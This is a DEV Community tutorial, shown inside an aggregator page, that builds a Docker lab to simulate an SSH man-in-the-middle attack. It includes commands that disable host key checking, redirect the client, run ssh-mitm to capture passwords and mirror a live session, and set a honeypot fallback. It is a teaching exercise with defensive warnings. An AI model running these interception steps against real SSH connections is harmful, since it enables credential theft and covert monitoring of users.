惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
V
Visual Studio Blog
The GitHub Blog
The GitHub Blog
Apple Machine Learning Research
Apple Machine Learning Research
J
Java Code Geeks
T
Tailwind CSS Blog
大猫的无限游戏
大猫的无限游戏
Jina AI
Jina AI
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Hugging Face - Blog
Hugging Face - Blog
WordPress大学
WordPress大学
宝玉的分享
宝玉的分享
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
罗磊的独立博客
人人都是产品经理
人人都是产品经理
H
Heimdal Security Blog
Last Week in AI
Last Week in AI
博客园 - 【当耐特】
Cyberwarzone
Cyberwarzone
Google DeepMind News
Google DeepMind News
雷峰网
雷峰网
Hacker News: Ask HN
Hacker News: Ask HN
Webroot Blog
Webroot Blog
Microsoft Azure Blog
Microsoft Azure Blog
MyScale Blog
MyScale Blog
A
About on SuperTechFans
V2EX - 技术
V2EX - 技术
小众软件
小众软件
博客园 - Franky
博客园 - 司徒正美
P
Privacy International News Feed
爱范儿
爱范儿
U
Unit 42
博客园 - 叶小钗
The Hacker News
The Hacker News
C
Check Point Blog
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Simon Willison's Weblog
Simon Willison's Weblog
N
News and Events Feed by Topic
D
Docker
T
Threatpost
MongoDB | Blog
MongoDB | Blog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
H
Help Net Security
L
LINUX DO - 最新话题
Security Latest
Security Latest
T
The Exploit Database - CXSecurity.com
S
SegmentFault 最新的问题
A
Arctic Wolf
Spread Privacy
Spread Privacy

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant Common SOC 2 Failures (Real World) Stop Vibe-Checking Your AI App: A Practical Guide to Evals How to Use SonarQube and SonarScanner Locally to Level Up Your Code Quality Your Next To-Do App Is Dead — I Replaced Mine with an OpenClaw AI Sign a Nostr event in 60 lines of Python using coincurve — no nostr-sdk, no nbxplorer, no rust toolchain ITGC Audit Explained Like You’re in Big 4 Patch Tuesday abril 2026: Microsoft parcha 163 vulnerabilidades y un zero-day en SharePoint Stop scraping everything: a better way to track competitor price changes Listing on MCPize + the Official MCP Registry while routing payments OUTSIDE the marketplace — how I kept 100% of my x402 revenue Building an AI-Powered Risk Intelligence System Using Serverless Architecture Why We Ripped Function Overloading Out of Our AI Toolchain Testing AI-Generated Code: How to Actually Know If It Works SaaS Churn Is Killing Your Business. Here Is What to Do About It (Without a Support Team) The Speed of AI Is No Longer Linear - And Self-Improving Models Are Why How to Implement RBAC for MCP Tools: A Practical Guide for Engineering Teams From Standard Quote to Persuasive Proposal: AI Automation for Arborists I built a CLI that scaffolds complete multi-tenant SaaS apps Axios CVE-2025–62718: The Silent SSRF Bug That Could Be Hiding in Your Node.js App Right Now The dashboard that ended our friendship Data Pipelines Explained Simply (and How to Build Them with Python) The Hidden Cost of AI Systems Nobody Talks About. undefined vs undeclared, and how typeof behaves Switching from file-based jobs to NATS/Kafka in Rust without changing code io_uring Adventures: Rust Servers That Love Syscalls Why Agentic AI is Killing the Traditional Database The POUR principles of web accessibility for developers and designers Quantum Neural Network 3D — A Deep Dive into Interactive WebGL Visualization How To Install Caveman In Codex On macOS And Windows Automation Pipeline Reliability: Why Your Workflow Breaks When Nobody Is Watching I Built an 'Open World' AI Coding Agent — It Works From ANY Folder From Freelancing to Product: A Tech Service Company's SaaS Transformation China's AI Giants: Adding Tencent Hunyuan & ByteDance Doubao to AI University (74 Providers) On the Vibe Coders and Their Lies clerk: Auto-Summarize Your Claude Code Sessions AI Weekly — 2026/04/10–04/17 | The Model Lockdown Is Here, but the Toolchain Is the Real Battleground AI 週報 — 2026/04/10–2026/04/17 模型封鎖潮來了,但工具鏈才是真戰場 Maybe this is how Open-Source apps are born... 🚀 Fine-Tune LLMs with LoRA and QLoRA: 2026 Guide tRPC v11 + Next.js App Router: End-to-End Type Safety Without the Boilerplate ShadCN UI in 2026: Why I Stopped Installing Component Libraries and Started Owning My Components SaaS Billing in React Server Components: Stripe + Supabase Without a Single `useEffect` Join our DEV Weekend Challenge — $1,000 in Prizes Across TEN winners! Submissions Due April 20 at 6:59 AM UTC. Implementing FSRS Spaced Repetition in Flutter + Supabase — Adding Memory Science to an AI Learning App "I Texted My Localhost From the Train — Claude Code Fixed the Bug Before I Got Home" I Built a Sales Prep AI and It Went Deeper Than Expected Design to Code #2: One JSON, Eleven Outputs Solving the 100M-Row Problem: A Summary Table Pattern for High-Volume Push Notification Logs Flutter Web With Wasm: What Actually Changes For Developers I Built 50 Royalty-Free Soundtracks for My Side Project in a Weekend Using AI Music Generation The Vibe Coding Security Checklist: 7 Things to Check Before You Ship Stop Letting Googlebot Guess Fix Your React App's SEO Right Desconstruindo o Streaming do LinkedIn: Como Criar um Engine de Extração de Vídeo de Alta Performance com HLS e FFmpeg (EDA Part-1) EDA (Exploratory Data Analysis) Explained With Real Life — Why Looking at Your Data Is the Most Important Step in Machine Learning Brand Relationship Management at Scale: Our 4-Touch Outreach System for 200+ Brands Why String.fromEnvironment() Might Return an Empty String in Dart JGuardrails 1.0.0 — Hardening Java LLM Apps Against Jailbreaks, Toxicity, and Prompt Injection Plan and Schedule a Full Week of Threads Content From One Claude Conversation Coding Cat Oran Ep3, Five Tables Changed Everything Updated: BFF Pattern I'm done watching freelancers get buried by 200 proposals. So I'm building the alternative. This is my first post BFS Algorithm in Java Step by Step Tutorial with Examples Tracking LLM Pricing Monthly: An Open Dataset for 22 AI Models How We Measure Content ROI on a Comparison Site: Revenue Attribution Without Perfect Data Introducing Nova AI Ops: The AI-Native Operating System for SRE Teams I built a free desktop video downloader for Windows — Grabbit How Talkie OCR Helps Vision-Impaired & Dyslexic Users Read the World Around Them VRCFaceTracking安装和iPhone面捕配置教程,有bug Even CrowdStrike Can't See Your Agents The Automation Gold Rush: What n8n Workflows and Claude Are Opening Up for Developers Right Now
How SSH Works—and How It Breaks (Part 2): Simulating a Man-in-the-Middle Attack
José David U · 2026-04-27 · via DEV Community

In this article, we’ll explore how a Man-in-the-Middle (MITM) attack works using a small Docker-based lab.
We’ll simulate how an attacker can steal credentials and monitor session traffic while clients believe they’re connected to a legitimate server.

This is the second part of my series named "How SSH Works—and How It Breaks". If you haven't read the first part, you can find it here.

What you’ll learn

  • How SSH MITM attacks work in practice.
  • Why disabling host key verification is dangerous.
  • How attackers can intercept encrypted sessions.
  • Password-based authentication vs public-key authentication in MITM attacks.

Requirements

  • Operating System: Since the lab uses Docker containers, it should work on Linux, macOS, or Windows.
  • Docker:
    • On macOS or Windows, install Docker Desktop or Rancher Desktop.
    • On Linux, install Docker using your distribution’s package manager.
  • Basic Linux command-line knowledge: The containers run AlmaLinux, so familiarity with the terminal is helpful, but not required.

Resources

You can download the resources for this exercise from the repository on my GitHub.

Execute the following command to clone the project:

git clone https://github.com/JoDaUT/mitm.git

Enter fullscreen mode Exit fullscreen mode

Architecture Diagram

Here is an overview of each role:

Client (172.18.3.100)
    ↓
MITM (172.18.3.101) ← Intercepts connections, steals credentials and logs traffic
    ↓
Server (172.18.3.102)

Enter fullscreen mode Exit fullscreen mode

In this diagram, the client believes it is connected directly to the server, but all traffic is routed through the MITM.

How to run

Ensure Docker is running. On Linux, you can use: sudo service docker status.

Start the containers by executing docker compose up. You should see something like this:

Attaching to ssh-lab-client, ssh-lab-mitm, ssh-lab-server
ssh-lab-server  | Server listening on 0.0.0.0 port 22.
ssh-lab-server  | Server listening on :: port 22.

Enter fullscreen mode Exit fullscreen mode

Three containers will be started: a client, a server, and a malicious container acting as the MITM.

The next step is to connect to those containers by executing each of these commands on different terminals or tabs:

docker exec -it ssh-lab-client /bin/bash
docker exec -it ssh-lab-server /bin/bash
docker exec -it ssh-lab-mitm /bin/bash

Enter fullscreen mode Exit fullscreen mode

Once connected to the containers, we're ready to start.

Disabling host key verification

Now that we have the containers running, let's set up an unsafe SSH configuration on the client to simulate a real-world vulnerability:

mkdir -p ~/.ssh
cat <<EOF > ~/.ssh/config
# Don't do this ever in production systems
Host *
    StrictHostKeyChecking no
    UserKnownHostsFile /dev/null
EOF
chmod 600 ~/.ssh/config

Enter fullscreen mode Exit fullscreen mode

⚠️ WARNING: The following configuration is extremely insecure. Never use this in production or on any machine with access to important systems.

This configuration effectively removes SSH’s primary defense against MITM attacks: verifying that the server you’re connecting to is the one you trust.

This is something you should never do on a real system. However, if you are using custom SSH client implementations, it is possible to provide a weak configuration file for your client if you forgot to add it or weren’t aware of this. We are using the OpenSSH client just for simplicity.

Now try to ssh to the server. The password is 1234.

ssh myserver@ssh-lab-server

Enter fullscreen mode Exit fullscreen mode

You should see something like this:

Warning: Permanently added 'ssh-lab-server' (ED25519) to the list of known hosts.
myserver@ssh-lab-server's password:
[myserver@0e9d937503b2 ~]$

Enter fullscreen mode Exit fullscreen mode

As you can see, the connection was successful and no host key verification was performed by the SSH client, because we disabled it.

What should have happened in a secure setup:

The authenticity of host 'ssh-lab-server' can't be established.
ED25519 key fingerprint is ...
Are you sure you want to continue connecting (yes/no)?

Enter fullscreen mode Exit fullscreen mode

After you type "yes", the server's public key will be added to the .ssh/known_hosts file, so the second time you ssh to the server, it won't display this confirmation message.

Choosing the MITM

There are several tools that can act as a MITM. For this exercise, we'll use ssh-mitm, an interactive SSH interception tool for authorized security audits and penetration testing. It provides everything we need for the exercise.

Installing the tool is very straightforward. You can check the documentation for the different installation methods. For the purpose of the exercise, I’ve already set this up so you can focus on the exercise.

Start the MITM

Execute the following command in the MITM server:

ssh-mitm server --remote-host 172.18.3.102 --listen-port 22

Enter fullscreen mode Exit fullscreen mode

This will start the MITM service listening on port 22. Note the --remote-host flag. This will tell the service to connect to that machine when accepting incoming connections.

Compromising the client

In the previous chapter, we explored common SSH-related attacks such as DNS poisoning and routing attacks. For this exercise, we will simulate DNS redirection by modifying the .ssh/config file, which redirects traffic intended for ssh-lab-server to the ssh-lab-mitm.

Execute the following command on the client:

cat <<EOF >> ~/.ssh/config
Host ssh-lab-server
    Hostname 172.18.3.101 # this is the MITM IP address
EOF

Enter fullscreen mode Exit fullscreen mode

This line overrides the DNS resolution for this container, and forces it to connect to the malicious server instead of the real server when using the hostname instead of the IP address.

Note: In real-world scenarios, attackers don’t modify your .ssh/config. They exploit DNS, routing, or compromised networks. In this lab, we simulate that behavior by manually redirecting traffic.

Exploiting the malicious ssh configuration

Now when the user tries to connect to the server, the connection will be intercepted by the MITM.

Execute the following command to connect to the server:

ssh myserver@ssh-lab-server

Enter fullscreen mode Exit fullscreen mode

The output will look similar to this:

Warning: Permanently added '172.18.3.101' (RSA) to the list of known hosts.
myserver@172.18.3.101's password:

Enter fullscreen mode Exit fullscreen mode

Then type the password again (1234).

Once connected, execute a couple of commands:

pwd
ip a

Enter fullscreen mode Exit fullscreen mode

Output:

/home/myserver
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host proto kernel_lo
       valid_lft forever preferred_lft forever
2: eth0@if27: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 7e:27:cc:2c:80:c0 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.18.3.102/24 brd 172.18.3.255 scope global eth0
       valid_lft forever preferred_lft forever

Enter fullscreen mode Exit fullscreen mode

From the client’s perspective, everything looks fine. The server's IP address is 172.18.3.102, which match the one from the logs. However, that container has been the victim of a MITM attack.

What happened? The attacker established two independent encrypted sessions: one with the client and one with the server. Because it sits between them, it can read the traffic; not because SSH encryption is broken, but because each side is communicating with the attacker directly. The attack only worked because the client trusted the attacker’s host key.

If we hadn’t weakened our SSH configuration, the OpenSSH client would have prompted us to confirm the server’s host key. If the client already had the server’s public key in the known_hosts file, it would have warned us that the server’s key had changed. See the When the Fingerprints Don't Match section from the previous chapter.

If you check the MITM logs, you will see the credentials that were used to authenticate:

[03/09/26 04:51:02] INFO     Remote authentication succeeded
Remote Address: 172.18.3.102:22
Username: myserver
Password: 1234
Agent: no agent

Enter fullscreen mode Exit fullscreen mode

The attacker can authenticate to the real server using the credentials provided by the client. The server is talking with the MITM, not with the client.

However, a MITM cannot always connect to the target server. This depends on the SSH configuration and the attacker’s position in the network. Alternatively, an attacker can redirect victims to a fake (honeypot) server that mimics the target to capture credentials.

Monitor the data being sent in real time

Because there are two separate encrypted sessions (Client ↔ MITM and MITM ↔ Server), the attacker can decrypt, inspect, and re-encrypt the traffic.

This means the MITM can monitor all data being sent and received. Check the following log in the ssh-lab-mitm:

INFO     ℹ created mirror shell on port 45837. connect with: ssh -p 45837 127.0.0.1

Enter fullscreen mode Exit fullscreen mode

If you execute ssh -p <port> 127.0.0.1 in the MITM server, you will be able to see what the user is doing in real time.

The attacker can now store this information or send it to another server for later use.

What about public-key-based authentication?

For public-key authentication, the MITM cannot authenticate as the client because it does not have access to the private key required to sign the server’s challenge during the handshake.

To bypass this protocol protection, one option for attackers is to redirect the traffic to a honeypot, which is basically another machine owned by the attacker (or previously compromised), that looks like the legitimate server but is under his control. Users might notice something wrong (missing files, different configurations) and execute diagnostic commands that can leak sensitive information.

Another option is to authenticate to the server using different credentials, but that requires knowing the credentials of another user who has access to the target server.

The tool used in this lab also supports honeypot redirection:

ssh-mitm server --remote-host 172.18.3.102 --listen-port 22 --fallback-host ssh-lab-server --fallback-username myserver --fallback-password 1234

Enter fullscreen mode Exit fullscreen mode

This command specifies a fallback host and credentials that the MITM can use to connect to the honeypot.

SSH Agent Forwarding

The SSH Agent is the key manager of SSH. It runs in the background, separately from ssh. It stores private keys and uses them to sign authentication requests.

SSH Agent Forwarding allows a remote server to access your local ssh-agent, enabling authentication to further SSH connections without transmitting your private key.

This feature is not enabled by default, but if agent forwarding is enabled, a MITM can authenticate to the target server using the victim's SSH agent, without ever accessing your private key directly. The private key never leaves your machine. Only signatures are transmitted through the tunnel.

However, this feature should be used sparingly. Common (and safer) scenarios include:

  • Jump hosts / bastion hosts: Access private servers through a trusted intermediate machine.
  • Temporary multi-hop access: Short-term debugging using ssh -A (avoid permanent configuration).

Agent forwarding is generally discouraged in CI/CD environments. Prefer dedicated deploy keys or short-lived credentials instead.

Here is an example of how you can enable ssh agent forwarding:

# In ~/.ssh/config
Host server.com
    ForwardAgent yes

# Or via command line
ssh -A username@server.com

Enter fullscreen mode Exit fullscreen mode

You can refer to SSH Agent Explained to learn more about this.

Key Takeaways

  • Never disable StrictHostKeyChecking outside controlled environments.
  • Public-key authentication improves security, but does not eliminate MITM risk.
  • Treat SSH agent forwarding as high risk; enable it only when absolutely necessary.

Security measures and best practices will be covered in more detail in the third part of the series.

Conclusion

In this article, we explored how MITM attacks can compromise SSH connections, steal credentials and monitor traffic between the client and the server.

We learned that vulnerabilities don't come from a single weak point. They come from a combination of factors such as weak SSH configurations (client or server), misuse of ssh-agent forwarding, and compromised infrastructure.

Even with public-key authentication, attackers can redirect traffic to honeypots or access your ssh-agent if forwarding is enabled. Security must be enforced at every layer of the connection.

In the third part of this series, we'll explore best practices and actionable recommendations to defend against these attacks and secure your SSH infrastructure.

See you in the next article!

Bibliography